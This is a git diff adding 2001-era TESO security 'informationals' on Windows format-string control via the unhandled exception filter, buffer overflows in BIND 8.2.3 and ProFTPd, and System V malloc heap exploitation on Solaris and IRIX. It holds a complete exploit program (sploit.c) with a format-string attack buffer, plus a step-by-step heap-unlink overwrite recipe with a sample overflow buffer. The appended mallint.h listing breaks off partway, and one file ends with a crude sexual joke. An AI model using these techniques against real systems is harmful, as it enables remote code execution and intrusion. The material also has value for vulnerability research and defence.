diff --git a/informationals/teso-i0035.txt b/informationals/teso-i0035.txt new file mode 100644 index 0000000..147902a --- /dev/null +++ b/informationals/teso-i0035.txt | |||
| @@ -0,0 +1,107 @@ | |||
| 1 | 0035 2001/03/13 safely getting control in fmt bugs if KERNEL32 is known | ||
| 2 | ==== TESO Informational ======================================================= | ||
| 3 | This piece of information is to be kept confidential. | ||
| 4 | =============================================================================== | ||
| 5 | |||
| 6 | Description ..........: way of getting control with format string bugs | ||
| 7 | Date .................: 2001/03/13 11:00 | ||
| 8 | Author ...............: halvar | ||
| 9 | Publicity level ......: unknown | ||
| 10 | Affected .............: NT/Win32 specific | ||
| 11 | Type of entity .......: NT internals | ||
| 12 | Type of discovery ....: useful information | ||
| 13 | Severity/Importance ..: n/a | ||
| 14 | Found by .............: halvar | ||
| 15 | |||
| 16 | =============================================================================== | ||
| 17 | |||
| 18 | After our last excursion into the depths of NT exception handling, we will now | ||
| 19 | cover another interesting aspect: Unhandled Exception Filter Attacks (UEFA). | ||
| 20 | |||
| 21 | In Win32 exception handling, it is possible to set something called "Unhandled | ||
| 22 | Exception Filter" which is basically a global exception handler for all threads | ||
| 23 | in a particular task. If an exception occurs and none of the per-thread except- | ||
| 24 | ion handlers handle it, this function will be called. | ||
| 25 | |||
| 26 | The idea in this case is to use the format bug to set an Unhandled Exception | ||
| 27 | Filter to an address where our code is stored, and to subsequently trigger an | ||
| 28 | exception that isn't handled by any per-thread exception handlers. | ||
| 29 | |||
| 30 | A quick run with IDA through KERNEL32.DLL gives us the following disassembly | ||
| 31 | for the function | ||
| 32 | |||
| 33 | void * __stdcall SetUnhandledExceptionFilter(void *lpTopLevelExceptionFilter); | ||
| 34 | .text:77F1D480 SetUnhandledExceptionFilter proc near | ||
| 35 | .text:77F1D480 | ||
| 36 | .text:77F1D480 lpTopLevelExceptionFilter= dword ptr 4 | ||
| 37 | .text:77F1D480 | ||
| 38 | .text:77F1D480 mov eax, dword_77F45418 | ||
| 39 | .text:77F1D485 mov ecx, [esp+lpTopLevelExceptionFilter] | ||
| 40 | .text:77F1D489 mov dword_77F45418, ecx | ||
| 41 | .text:77F1D48F retn 4 | ||
| 42 | .text:77F1D48F SetUnhandledExceptionFilter endp | ||
| 43 | |||
| 44 | Ok, here we see that the address of the exception filter has to be written to | ||
| 45 | the void * at 0x77F45418 on my box. This means, too, that we will need to know | ||
| 46 | the exact version of KERNEL32.DLL in order to change the exception filter. | ||
| 47 | So this technique is only useful if you either are really good at remotely fin- | ||
| 48 | gerprinting NT versions, service packs and language versions or have a format | ||
| 49 | bug that allows you to read back data from KERNEL32.DLL. | ||
| 50 | |||
| 51 | While we need to know a lot more info about the computer we're attacking, we | ||
| 52 | only need 5 writes to get control: 4 for the new exception filter pointer and | ||
| 53 | 1 to trigger the exception. | ||
| 54 | |||
| 55 | Anyways, here is a quick modified sploit.c which will get control to the 0xCC | ||
| 56 | by overwriting the top level exception filter instead of all the per-thread | ||
| 57 | exception handlers. (Again, run this against lameserver.c :) | ||
| 58 | |||
| 59 | ------- snip --- sploit.c | ||
| 60 | #include <stdio.h> | ||
| 61 | #include <stdlib.h> | ||
| 62 | #include <windows.h> | ||
| 63 | #include <winsock.h> | ||
| 64 | |||
| 65 | unsigned char szAttackBuffer[] = { | ||
| 66 | "\x10\x80\x03\x78%200c%n " // Create a single 0xCC as "payload" | ||
| 67 | |||
| 68 | //--- First Thread | ||
| 69 | "\x18\x54\xF4\x77%c%62c%n" // write 0x10 | ||
| 70 | "\x19\x54\xF4\x77%c%107c%n%.f" // write 0x80 | ||
| 71 | "\x1A\x54\xF4\x77%126c%n " // write 0x03 | ||
| 72 | "\x1B\x54\xF4\x77%c%111c%n%n" // write 0x78 and trigger exception | ||
| 73 | |||
| 74 | }; | ||
| 75 | |||
| 76 | int main(int argc, char **argv) | ||
| 77 | { | ||
| 78 | WSADATA wsaDat; | ||
| 79 | struct sockaddr_in Host; | ||
| 80 | int sock, socks[10], i; | ||
| 81 | |||
| 82 | WSAStartup(0x101, &wsaDat); | ||
| 83 | |||
| 84 | Host.sin_family = AF_INET; | ||
| 85 | Host.sin_addr.s_addr = 0x0100007F; | ||
| 86 | Host.sin_port = htons(999); | ||
| 87 | |||
| 88 | sock = socket(AF_INET, SOCK_STREAM, 0); | ||
| 89 | connect(sock, (struct sockaddr *)&Host, sizeof(Host)); // create attack | ||
| 90 | // thread | ||
| 91 | for(i = 1; i < 11; i++) | ||
| 92 | { | ||
| 93 | socks[i] = socket(AF_INET,SOCK_STREAM, 0); | ||
| 94 | connect(socks[i], (struct sockaddr *)&Host, sizeof(Host)); | ||
| 95 | } | ||
| 96 | Sleep(50); | ||
| 97 | send(sock, szAttackBuffer, strlen(szAttackBuffer), 0); | ||
| 98 | } | ||
| 99 | ------------- snip --- sploit.c EOF | ||
| 100 | |||
| 101 | Stay tooned for the next informational, featuring nude chix delivering pizza to | ||
| 102 | randomizer and acpizer offering them some KY-lubrication. (KY-lube-technique) | ||
| 103 | |||
| 104 | Cheers, Halvar | ||
| 105 | |||
| 106 | =============================================================================== | ||
| 107 | |||
diff --git a/informationals/teso-i0036.txt b/informationals/teso-i0036.txt new file mode 100644 index 0000000..b4960e5 --- /dev/null +++ b/informationals/teso-i0036.txt | |||
| @@ -0,0 +1,142 @@ | |||
| 1 | 0036 2001/04/16 bugs in BIND 8.2.3-REL, ProFTPd, ... | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: bugs in BIND 8.2.3-REL, proftpd, ... | ||
| 8 | Date .................: 2001/04/16 18:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: unknown | ||
| 11 | Affected .............: BIND 8.2.3-REL and below, ProFTPd | ||
| 12 | Type of entity .......: bugs | ||
| 13 | Type of discovery ....: vulnerability | ||
| 14 | Severity/Importance ..: medium | ||
| 15 | Found by .............: scut | ||
| 16 | |||
| 17 | =============================================================================== | ||
| 18 | |||
| 19 | BIND 8.2.3-REL and below contains two buffer overflows in the handling of | ||
| 20 | UPDATE packets. | ||
| 21 | |||
| 22 | ### bug 1 | ||
| 23 | |||
| 24 | BIND-8.2.3-REL/src/bin/named/ns_update.c:1636 | ||
| 25 | |||
| 26 | case T_SIG: | ||
| 27 | if (dlen < SIG_HDR_SIZE || size < dlen) | ||
| 28 | return (0); | ||
| 29 | memcpy(cp1, cp, SIG_HDR_SIZE); | ||
| 30 | size -= SIG_HDR_SIZE; | ||
| 31 | cp += SIG_HDR_SIZE; | ||
| 32 | cp1 += SIG_HDR_SIZE; | ||
| 33 | n = dn_expand(msg, eom, cp, (char *)cp1, size); | ||
| 34 | if (n < 0 || n + SIG_HDR_SIZE > dlen) | ||
| 35 | return (0); | ||
| 36 | cp += n; | ||
| 37 | n1 = dlen - n - SIG_HDR_SIZE; | ||
| 38 | n = strlen((char *)cp1) + 1; | ||
| 39 | cp1 += n; | ||
| 40 | /* #1 */ | ||
| 41 | if (size < n1) | ||
| 42 | return (0); | ||
| 43 | memcpy(cp1, cp, n1); | ||
| 44 | cp1 += n1; | ||
| 45 | return (cp1 - cp1init); | ||
| 46 | |||
| 47 | This function processes T_SIG resource records within UPDATE packets. This | ||
| 48 | piece of code is difficult to reach remotely, as discussed below. | ||
| 49 | |||
| 50 | The buffer overflow happens because `cp1' and `size' get desynchronized. | ||
| 51 | Normally `cp1' is a pointer into the data buffer that is written to when | ||
| 52 | processing the packet. `size' is the number of remaining bytes within this | ||
| 53 | buffer that are unused. However in this case the author of the file forgot | ||
| 54 | to subtract the number of bytes that are written to the buffer by the | ||
| 55 | dn_expand function from the `size' variable. So `size' still denotes the | ||
| 56 | number of bytes remaining in the buffer, before dn_expand was called, | ||
| 57 | while `cp1' has been moved. This allows one to overflow the buffer by as | ||
| 58 | much as MAXDNAME (1025) bytes, minus a few in the following memcpy call. | ||
| 59 | |||
| 60 | At position #1 this line has to be inserted to fix the problem: | ||
| 61 | |||
| 62 | size -= n; | ||
| 63 | |||
| 64 | Sometimes, the problem lies in the invisible code, forgotten to be written. | ||
| 65 | |||
| 66 | ### bug 2 | ||
| 67 | |||
| 68 | BIND-8.2.3-REL/src/bin/named/ns_update.c:1655 | ||
| 69 | |||
| 70 | case T_NXT: | ||
| 71 | n = dn_expand(msg, eom, cp, (char *)cp1, size); | ||
| 72 | if (n < 0 || (u_int)n >= dlen) | ||
| 73 | return (0); | ||
| 74 | size -= n; | ||
| 75 | /* #1 */ | ||
| 76 | cp += n; | ||
| 77 | n1 = dlen - n; | ||
| 78 | n = strlen((char *)cp1) + 1; | ||
| 79 | cp1 += n; | ||
| 80 | /* | ||
| 81 | * The first bit of the first octet determines the format | ||
| 82 | * of the NXT record. A format for types >= 128 has not | ||
| 83 | * yet been defined, so if bit zero is set, we just copy | ||
| 84 | * what's there because we don't understand it. | ||
| 85 | */ | ||
| 86 | if ((*cp & 0x80) == 0) { | ||
| 87 | /* | ||
| 88 | * Bit zero is not set; this is an ordinary NXT | ||
| 89 | * record. The bitmap must be at least 4 octets | ||
| 90 | * because the NXT bit should be set. It should be | ||
| 91 | * less than or equal to 16 octets because this NXT | ||
| 92 | * format is only defined for types < 128. | ||
| 93 | */ | ||
| 94 | if (n1 < 4 || n1 > 16) | ||
| 95 | return (0); | ||
| 96 | } | ||
| 97 | if (n1 > size) | ||
| 98 | return (0); | ||
| 99 | memcpy(cp1, cp, n1); | ||
| 100 | cp1 += n1; | ||
| 101 | return (cp1 - cp1init); | ||
| 102 | |||
| 103 | Here the authors of BIND fall for a mistake by not knowing the meaning of | ||
| 104 | their own API. The `dn_expand' function returns the number of bytes the | ||
| 105 | source processing pointer was advanced. But it may write as much as `size' | ||
| 106 | bytes to the output buffer, which is given by pointer `cp1'. | ||
| 107 | |||
| 108 | Hence, `size' is getting decreased by the wrong value, the number of bytes | ||
| 109 | the source pointer was moved, while the destination pointer `cp1' is moved | ||
| 110 | correctly. This can lead to a buffer overflow condition in which up to | ||
| 111 | MAXDNAME (minus a few) bytes can be overwritten outside of the buffer. | ||
| 112 | |||
| 113 | The UPDATE code is difficult to reach and requires though ACL checks to be | ||
| 114 | passed. Even then, behind the buffer you can overflow there are no important | ||
| 115 | informations which can be used to increase your current access level. To | ||
| 116 | conclude: this buffer overflow may be interesting, but is most likely not | ||
| 117 | exploitable except in very special cases (architectures with different stack | ||
| 118 | layouts, priviledge to issue UPDATE packets, ...). | ||
| 119 | |||
| 120 | |||
| 121 | |||
| 122 | ProFTPd messed code | ||
| 123 | |||
| 124 | proftpd-1.2.0rc2/modules/mod_ls.c:333 | ||
| 125 | |||
| 126 | char *p = nameline + strlen(nameline); | ||
| 127 | ... | ||
| 128 | snprintf(p, sizeof(nameline) - strlen(nameline) - 4, " -> %s", l); | ||
| 129 | |||
| 130 | Where nameline is a local stack buffer: | ||
| 131 | |||
| 132 | char nameline[MAXPATHLEN + MAXPATHLEN + 128] = {'\0'}; | ||
| 133 | |||
| 134 | The problem manifests itself if strlen (nameline) > (sizeof (nameline) - 3), | ||
| 135 | since then the length parameter to snprintf turns negative, behaving like a | ||
| 136 | normal sprintf function. The nameline buffer is printed to before, with | ||
| 137 | filemodes and name information, but it seems not possible to reach a length | ||
| 138 | of more then 124 bytes. However, this bug shows that nasty sign conversion | ||
| 139 | bugs are still within popular code in use today. | ||
| 140 | |||
| 141 | =============================================================================== | ||
| 142 | |||
diff --git a/informationals/teso-i0037.txt b/informationals/teso-i0037.txt new file mode 100644 index 0000000..c550002 --- /dev/null +++ b/informationals/teso-i0037.txt | |||
| @@ -0,0 +1,382 @@ | |||
| 1 | 0037 2001/05/06 System V malloc implementation details for exploitation | ||
| 2 | ==== TESO Informational ======================================================= | ||
| 3 | This piece of information is to be kept confidential. | ||
| 4 | =============================================================================== | ||
| 5 | |||
| 6 | Description ..........: System V malloc implementation details for exploitation | ||
| 7 | Date .................: 2001/05/06 18:00 | ||
| 8 | Author ...............: scut | ||
| 9 | Publicity level ......: unknown | ||
| 10 | Affected .............: System V based malloc implementations (Solaris, IRIX) | ||
| 11 | Type of entity .......: implementation details | ||
| 12 | Type of discovery ....: useful information | ||
| 13 | Severity/Importance ..: medium | ||
| 14 | Found by .............: scut | ||
| 15 | |||
| 16 | =============================================================================== | ||
| 17 | |||
| 18 | On the Unix system, and later in the C standard library there are functions to | ||
| 19 | handle variable amounts of memory in a dynamic way. This allows programs to | ||
| 20 | dynamically request memory blocks from the system. The operating system only | ||
| 21 | provides a very rough system call 'sbrk' to change the size of a big memory | ||
| 22 | chunk, which is known as the heap. | ||
| 23 | |||
| 24 | On top if this system call the malloc interface is build, which builds a layer | ||
| 25 | between the application and the system call. It can dynamically split the large | ||
| 26 | single block into smaller chunks, free those chunks later on the applications | ||
| 27 | request and avoid fragmentation while doing so. You can compare the malloc | ||
| 28 | interface as being similar to a file system on a single large, but dynamically | ||
| 29 | sized raw device. | ||
| 30 | |||
| 31 | There are a few design goals which have to be met by the malloc interface: | ||
| 32 | |||
| 33 | - stability | ||
| 34 | - performance | ||
| 35 | - avoid fragmentation of heap space | ||
| 36 | - low overhead | ||
| 37 | |||
| 38 | There are only a few common malloc implementations. The most common one is the | ||
| 39 | System V one, implemented by AT&T. Another common one is the GNU C Library | ||
| 40 | implementation. On the Microsoft Windows operating system, a similar interface | ||
| 41 | is used (RtlHeap*). | ||
| 42 | |||
| 43 | |||
| 44 | Here is a table of algorithms and which operating systems use them: | ||
| 45 | |||
| 46 | Algorithm | Operating System | ||
| 47 | ------------------------+------------------------------------------------------- | ||
| 48 | BSD kingsley | 4.4BSD, AIX (compatibility), Ultrix | ||
| 49 | BSD phk | BSDI, FreeBSD, OpenBSD | ||
| 50 | GNU Lib C (Doug Lea) | Hurd, Linux | ||
| 51 | System V AT&T | Solaris, IRIX | ||
| 52 | Yorktown | AIX (default) | ||
| 53 | Rtl* | Microsoft Windows * | ||
| 54 | ------------------------+------------------------------------------------------- | ||
| 55 | |||
| 56 | If you have information to any of the missing operating systems (HP-UX, NetBSD, | ||
| 57 | BSDI) please tell me (at best with a copy of malloc.c and related files, if | ||
| 58 | possible). | ||
| 59 | |||
| 60 | Its interesting to note that most of the malloc implementations are very easy | ||
| 61 | to port and are architecture independent. Most of them only interface with the | ||
| 62 | 'sbrk' system call, but allow a change of behaviour through a #define. All of | ||
| 63 | the implementations I have come across are written in ANSI C and do only very | ||
| 64 | minimal to no sanity checking. Most of them have a special compilation define | ||
| 65 | that includes asserts and extra checks. Those are turned off by default in the | ||
| 66 | final build, for performance reasons. Some of the implementations also offer | ||
| 67 | extra reliability checks that will detect buffer overflows. Those are made to | ||
| 68 | detect overflows while developing, not to stop exploitation in release | ||
| 69 | versions. | ||
| 70 | |||
| 71 | |||
| 72 | Storing management info in-band | ||
| 73 | |||
| 74 | Most malloc implementations share the behaviour of storing their own management | ||
| 75 | information, such as lists of used or free blocks, sizes of memory blocks and | ||
| 76 | other useful data within the heap space itself. Since the whole idea of | ||
| 77 | malloc/free is based on the dynamic requirements the application has, the | ||
| 78 | management info itself occupies a variable amount of data too. Because of this | ||
| 79 | the implementation can seldomly just reserve a certain amount of memory for its | ||
| 80 | own purposes, but stores the management information "in-band", right after and | ||
| 81 | before the blocks of memory that are used by the application. | ||
| 82 | |||
| 83 | The central attack of exploiting malloc allocated buffer overflows is to modify | ||
| 84 | this management information in a way that will later allow arbitrary memory | ||
| 85 | overwrites. This way pointers can be overwritten within the writeable process | ||
| 86 | memory, hence allowing modification of return addresses, linkage tables or | ||
| 87 | application level data. | ||
| 88 | |||
| 89 | To mount such an attack, we have to take a deep look within the internal | ||
| 90 | workings of the implementation we want to exploit. This article discusses the | ||
| 91 | commonly used System V implementation used in Solaris and IRIX (possibly | ||
| 92 | others). | ||
| 93 | |||
| 94 | This implementation is based on self-adjusting binary trees. The theoretical | ||
| 95 | background of this implementation has been described 1985 by DD Sleator and RE | ||
| 96 | Tarjan in "Self-Adjusting Binary Trees". If anyone gets a copy of those | ||
| 97 | article, please forward it to me. | ||
| 98 | |||
| 99 | The basic idea of this implementation is to keep lists of equal sized malloc | ||
| 100 | chunks within a binary tree. So if you allocate two chunks of the same size, | ||
| 101 | they will be within the same node, within the same list of this node. Also, the | ||
| 102 | tree is ordered by the size of its elements. | ||
| 103 | |||
| 104 | |||
| 105 | The TREE structure | ||
| 106 | |||
| 107 | Within the mallint.h file the definition of the TREE structure can be found, | ||
| 108 | along with easy-to-use macros to access elements of it. | ||
| 109 | |||
| 110 | To allow each tree element to be used for different purposes, to save overhead, | ||
| 111 | and to force an alignment, each TREE structure element is defined as union: | ||
| 112 | |||
| 113 | |||
| 114 | /* the proto-word; size must be ALIGN bytes */ | ||
| 115 | typedef union _w_ { | ||
| 116 | size_t w_i; /* an unsigned int */ | ||
| 117 | struct _t_ *w_p; /* a pointer */ | ||
| 118 | char w_a[ALIGN]; /* to force size */ | ||
| 119 | } WORD; | ||
| 120 | |||
| 121 | |||
| 122 | Central TREE structure definition: | ||
| 123 | |||
| 124 | /* structure of a node in the free tree */ | ||
| 125 | typedef struct _t_ { | ||
| 126 | WORD t_s; /* size of this element */ | ||
| 127 | WORD t_p; /* parent node */ | ||
| 128 | WORD t_l; /* left child */ | ||
| 129 | WORD t_r; /* right child */ | ||
| 130 | WORD t_n; /* next in link list */ | ||
| 131 | WORD t_d; /* dummy to reserve space for self-pointer */ | ||
| 132 | } TREE; | ||
| 133 | |||
| 134 | |||
| 135 | The 't_s' element of the chunk header contains the rounded up value of the size | ||
| 136 | the user requested when he called malloc. Since the size is always rounded up | ||
| 137 | to a word boundary, at least the lower two bits of the 't_s' elements are | ||
| 138 | unused - they would be zero all the time. | ||
| 139 | Instead of being zero, they are ignored for all size-related operations and | ||
| 140 | take a special meaning as flag elements (from the malloc.c source): | ||
| 141 | |||
| 142 | BIT0: 1 for busy (block is in use), 0 for free. | ||
| 143 | |||
| 144 | BIT1: if the block is busy, this bit is 1 if the preceding block in | ||
| 145 | contiguous memory is free. Otherwise, it is always 0. | ||
| 146 | |||
| 147 | |||
| 148 | TREE Access macros: | ||
| 149 | |||
| 150 | /* usable # of bytes in the block */ | ||
| 151 | #define SIZE(b) (((b)->t_s).w_i) | ||
| 152 | |||
| 153 | /* free tree pointers */ | ||
| 154 | #define PARENT(b) (((b)->t_p).w_p) | ||
| 155 | #define LEFT(b) (((b)->t_l).w_p) | ||
| 156 | #define RIGHT(b) (((b)->t_r).w_p) | ||
| 157 | |||
| 158 | /* forward link in lists of small blocks */ | ||
| 159 | #define AFTER(b) (((b)->t_p).w_p) | ||
| 160 | |||
| 161 | /* forward and backward links for lists in the tree */ | ||
| 162 | #define LINKFOR(b) (((b)->t_n).w_p) | ||
| 163 | #define LINKBAK(b) (((b)->t_p).w_p) | ||
| 164 | |||
| 165 | |||
| 166 | For all allocation operations a certain alignment and minimum size is enforced, | ||
| 167 | which is defined here: | ||
| 168 | |||
| 169 | #define WORDSIZE (sizeof (WORD)) | ||
| 170 | #define MINSIZE (sizeof (TREE) - sizeof (WORD)) | ||
| 171 | #define ROUND(s) if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE)) | ||
| 172 | |||
| 173 | |||
| 174 | The tree structure is the central element of each allocated chunk. Normally | ||
| 175 | only the 't_s' and 't_p' elements are used, and user data is stored from 't_l' | ||
| 176 | on. Once the node is freed, this changes and the data is reused to manage the | ||
| 177 | free elements efficiently. The chunk represents an element within the splay | ||
| 178 | tree. As more chunks get freed the malloc implementation tries to merge the | ||
| 179 | directly bordering free chunks. At most FREESIZE (32 by default) chunks can be | ||
| 180 | in this dangling free state at the same time. They are all stored within the | ||
| 181 | 'flist' array. If a call to free is made while the list is already full the old | ||
| 182 | element at this place falls out and is forwarded to realfree. The place is then | ||
| 183 | occupied by the newly freed element. | ||
| 184 | |||
| 185 | This is done to speed up and avoid defragmentation in cases where a lot of | ||
| 186 | calls to free are made in a row. The real merging process is done by realfree. | ||
| 187 | It inserts the chunk into the central tree, which starts at the 'Root' pointer. | ||
| 188 | The tree is ordered by the size of their elements and balances itself. It is a | ||
| 189 | so called "splay tree", in which the elements cycle in a special way to speed | ||
| 190 | up searches (see google.com "splay tree" for further information). This is not | ||
| 191 | so much important here, but keep in mind that there are two stages of free | ||
| 192 | chunks, one being within the flist array, and one within the free-elements tree | ||
| 193 | starting at 'Root'. | ||
| 194 | |||
| 195 | There are some special management routines for allocating small chunks of | ||
| 196 | memory, which happen to have a size below 40 bytes. Those are not considered | ||
| 197 | here, but the basic idea is to have extra lists of them, not keeping them | ||
| 198 | within a tree but in lists, one for each WORD matching size below 40. | ||
| 199 | |||
| 200 | There is more than one way to exploit a malloc based buffer overflow, however | ||
| 201 | here is one method which works against IRIX and Solaris. | ||
| 202 | |||
| 203 | As a chunk is realfree'd, it is checked whether the directly bordering chunks | ||
| 204 | behind and in front of it are already within the real free'd tree. If it is the | ||
| 205 | case, the only thing that has to be done is to logically merge the two chunks | ||
| 206 | and reorder its position within the tree, since the size changed. | ||
| 207 | |||
| 208 | This merging process involves pointer modification within the tree, which | ||
| 209 | consists out of nodes. This nodes are represented by the chunk header itself, | ||
| 210 | the pointers to other tree elements are stored there. If we can overwrite them, | ||
| 211 | we can possibly modify the operation when merging the chunks. | ||
| 212 | |||
| 213 | Here is how its done (source shortened/cutted to only display the interesting | ||
| 214 | path), in malloc.c: | ||
| 215 | |||
| 216 | static void | ||
| 217 | realfree(void *old) | ||
| 218 | { | ||
| 219 | TREE *tp, *sp, *np; | ||
| 220 | size_t ts, size; | ||
| 221 | |||
| 222 | /* pointer to the block */ | ||
| 223 | tp = BLOCK(old); | ||
| 224 | ts = SIZE(tp); | ||
| 225 | if (!ISBIT0(ts)) | ||
| 226 | return; | ||
| 227 | CLRBITS01(SIZE(tp)); | ||
| 228 | |||
| 229 | /* see if coalescing with next block is warranted */ | ||
| 230 | np = NEXT(tp); | ||
| 231 | if (!ISBIT0(SIZE(np))) { | ||
| 232 | if (np != Bottom) | ||
| 233 | t_delete(np); | ||
| 234 | SIZE(tp) += SIZE(np) + WORDSIZE; | ||
| 235 | } | ||
| 236 | |||
| 237 | We remember NEXT points to the chunk directly following the current one. So we | ||
| 238 | have this memory layout: | ||
| 239 | |||
| 240 | tp old np | ||
| 241 | | | | | ||
| 242 | [chunk A header] [chunk A data] | [chunk B or free ....] | ||
| 243 | | | ||
| 244 | chunk boundary | ||
| 245 | |||
| 246 | In the usual situtation the application has allocated some space and got a | ||
| 247 | pointer (old) from malloc. It then messes up and allows a buffer overflow of | ||
| 248 | the chunk data. We cross the chunk boundary by overflowing and hit the data | ||
| 249 | behind, which is either free space or another used chunk. | ||
| 250 | |||
| 251 | np = NEXT(tp); | ||
| 252 | |||
| 253 | Since we can only overflow data behind 'old', we cannot modify the header of | ||
| 254 | our own chunk. Therefore we cannot influence the 'np' pointer in any way. It | ||
| 255 | always points to the chunk boundary. | ||
| 256 | |||
| 257 | Now a check is made to test if it is possible to merge forward, that is our | ||
| 258 | chunk and the chunk behind it. Remember that we can control the chunk behind | ||
| 259 | ourself. | ||
| 260 | |||
| 261 | if (!ISBIT0(SIZE(np))) { | ||
| 262 | if (np != Bottom) | ||
| 263 | t_delete(np); | ||
| 264 | SIZE(tp) += SIZE(np) + WORDSIZE; | ||
| 265 | } | ||
| 266 | |||
| 267 | BIT0 is zero if the chunk is free and within the free elements tree. So if it | ||
| 268 | is free and not the last chunk, the special 'Bottom' chunk, it is deleted from | ||
| 269 | the tree. Then the sizes of both chunks are added and later in the code of the | ||
| 270 | realfree function the whole resized chunk is reinserted into the tree. | ||
| 271 | |||
| 272 | One important part is that the overflowed chunk must not be the last chunk | ||
| 273 | within the malloc space, condition: | ||
| 274 | |||
| 275 | 1. Overflowed chunk must not be the last chunk | ||
| 276 | |||
| 277 | Here is how the 't_delete' function works: | ||
| 278 | |||
| 279 | static void | ||
| 280 | t_delete(TREE *op) | ||
| 281 | { | ||
| 282 | TREE *tp, *sp, *gp; | ||
| 283 | |||
| 284 | /* if this is a non-tree node */ | ||
| 285 | if (ISNOTREE(op)) { | ||
| 286 | tp = LINKBAK(op); | ||
| 287 | if ((sp = LINKFOR(op)) != NULL) | ||
| 288 | LINKBAK(sp) = tp; | ||
| 289 | LINKFOR(tp) = sp; | ||
| 290 | return; | ||
| 291 | } | ||
| 292 | |||
| 293 | There are other cases, but this one is the easiest to exploit, and as I am | ||
| 294 | already tired about this, I will just explain this one here, the others are | ||
| 295 | very similar (look at malloc.c). | ||
| 296 | |||
| 297 | ISNOTREE compares the 't_l' element of the TREE structure with -1. -1 is the | ||
| 298 | special marker for non-tree nodes which are used as doubly linked list, but | ||
| 299 | that does not matter. | ||
| 300 | |||
| 301 | Anyway, that is the first condition we have to obey: | ||
| 302 | |||
| 303 | 2. fake->t_l = -1; | ||
| 304 | |||
| 305 | Now the unlinking between FOR (t_n) and BAK (t_p) is done, which can be | ||
| 306 | rewritten as: | ||
| 307 | |||
| 308 | t1 = fake->t_p | ||
| 309 | t2 = fake->t_n | ||
| 310 | t2->t_p = t1 | ||
| 311 | t1->t_n = t2 | ||
| 312 | |||
| 313 | Which is (written in pseudo-raw-assignments which happen at the same time): | ||
| 314 | |||
| 315 | [t_n + (1 * sizeof (WORD))] = t_p | ||
| 316 | [t_p + (4 * sizeof (WORD))] = t_n | ||
| 317 | |||
| 318 | This way we can write to arbitrary addresses, but only with other valid | ||
| 319 | addresses at the same time. We choose to use this: | ||
| 320 | |||
| 321 | t_p = retloc - 4 * sizeof (WORD) | ||
| 322 | t_n = retaddr | ||
| 323 | |||
| 324 | This way retloc will be overwritten with retaddr and *(retaddr + 8) will be | ||
| 325 | overwritten with retloc. If there is code at retaddr, there should be a small | ||
| 326 | jump over the bytes 8-11 to not execute this address as code. | ||
| 327 | |||
| 328 | Finally our overwrite buffer looks like this: | ||
| 329 | |||
| 330 | | <t_s> <t_p> <t_l> <j: t_r> <t_n> <j: t_d> | ||
| 331 | | | ||
| 332 | chunk boundary | ||
| 333 | |||
| 334 | Where: t_s = some small size with lower two bits zeroed out | ||
| 335 | t_p = retloc - 4 * sizeof (WORD) | ||
| 336 | t_l = -1 | ||
| 337 | t_r = junk | ||
| 338 | t_n = retaddr | ||
| 339 | t_d = junk | ||
| 340 | |||
| 341 | Note that although all the data is stored as 32 bit pointers each structure | ||
| 342 | element occupies eight bytes, because of the WORD union, which forces at least | ||
| 343 | ALIGN bytes for each element. ALIGN is defined to eight by default. | ||
| 344 | |||
| 345 | So a real overflow buffer behind the chunk boundary might look like: | ||
| 346 | |||
| 347 | ff ff ff f0 41 41 41 41 ef ff fc e0 41 41 41 41 | ....AAAA....AAAA | ||
| 348 | ff ff ff ff 41 41 41 41 41 41 41 41 41 41 41 41 | ....AAAAAAAAAAAA | ||
| 349 | ef ff fc a8 41 41 41 41 41 41 41 41 41 41 41 41 | ....AAAAAAAAAAAA | ||
| 350 | |||
| 351 | All 'A' characters can be set arbitrarily. The 't_s' element has been replaced | ||
| 352 | with a small negative number to avoid NUL bytes. If you use NUL bytes the | ||
| 353 | number has to be small also, else the realfree function crashes later. | ||
| 354 | |||
| 355 | The buffer above will overwrite: | ||
| 356 | |||
| 357 | [0xeffffce0 + 32] = 0xeffffca8 | ||
| 358 | [0xeffffca8 + 8] = 0xeffffce0 | ||
| 359 | |||
| 360 | See the example code (mxp.c) for a more in-depth explanation. | ||
| 361 | |||
| 362 | To summarize down the guts if you happen to exploit a malloc based buffer | ||
| 363 | overflow on IRIX or Solaris: | ||
| 364 | |||
| 365 | 1. Create a fake chunk behind the one you overflow | ||
| 366 | 2. The fake chunk is merged with the one you overflow as it is passed to | ||
| 367 | realfree | ||
| 368 | 3. To make it pass to realfree it has to call malloc() again or there | ||
| 369 | have to be a lot of successive free() calls | ||
| 370 | 4. The overflowed chunk must not be the last chunk (the one before | ||
| 371 | Bottom) | ||
| 372 | 5. Prepend the shellcode/nop-space with jump-aheads to not execute the | ||
| 373 | unavoidable unlink-overwrite address as code | ||
| 374 | 6. Using the t_splay routines attacks like this are possible too, so if | ||
| 375 | you can not use the attack described here (say you cannot write 0xff | ||
| 376 | bytes), use the source luke. | ||
| 377 | |||
| 378 | Enjoy. :) | ||
| 379 | |||
| 380 | =============================================================================== | ||
| 381 | |||
| 382 | |||
diff --git a/informationals/teso-i0037/mallint.h b/informationals/teso-i0037/mallint.h new file mode 100644 index 0000000..2e501f0 --- /dev/null +++ b/informationals/teso-i0037/mallint.h | |||
| @@ -0,0 +1,154 @@ | |||
| 1 | /* Copyright (c) 1988 AT&T */ | ||
| 2 | /* All Rights Reserved */ | ||
| 3 | |||
| 4 | /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */ | ||
| 5 | /* The copyright notice above does not evidence any */ | ||
| 6 | /* actual or intended publication of such source code. */ | ||
| 7 | |||
| 8 | /* | ||
| 9 | * Copyright (c) 1996-1997 by Sun Microsystems, Inc. | ||
| 10 | * All rights reserved. | ||
| 11 | */ | ||
| 12 | |||
| 13 | #pragma ident "@(#)mallint.h 1.11 97/12/02 SMI" /* SVr4.0 1.2 */ | ||
| 14 | |||
| 15 | #include <sys/isa_defs.h> | ||
| 16 | #include <stdlib.h> | ||
| 17 | #include <memory.h> | ||
| 18 | #include <thread.h> | ||
| 19 | #include <synch.h> | ||
| 20 | #if 0 | ||
| 21 | #include <mtlib.h> | ||
| 22 | #endif | ||
| 23 | |||
| 24 | /* debugging macros */ | ||
| 25 | #ifdef DEBUG | ||
| 26 | #define ASSERT(p) ((void) ((p) || (abort(), 0))) | ||
| 27 | #define COUNT(n) ((void) n++) | ||
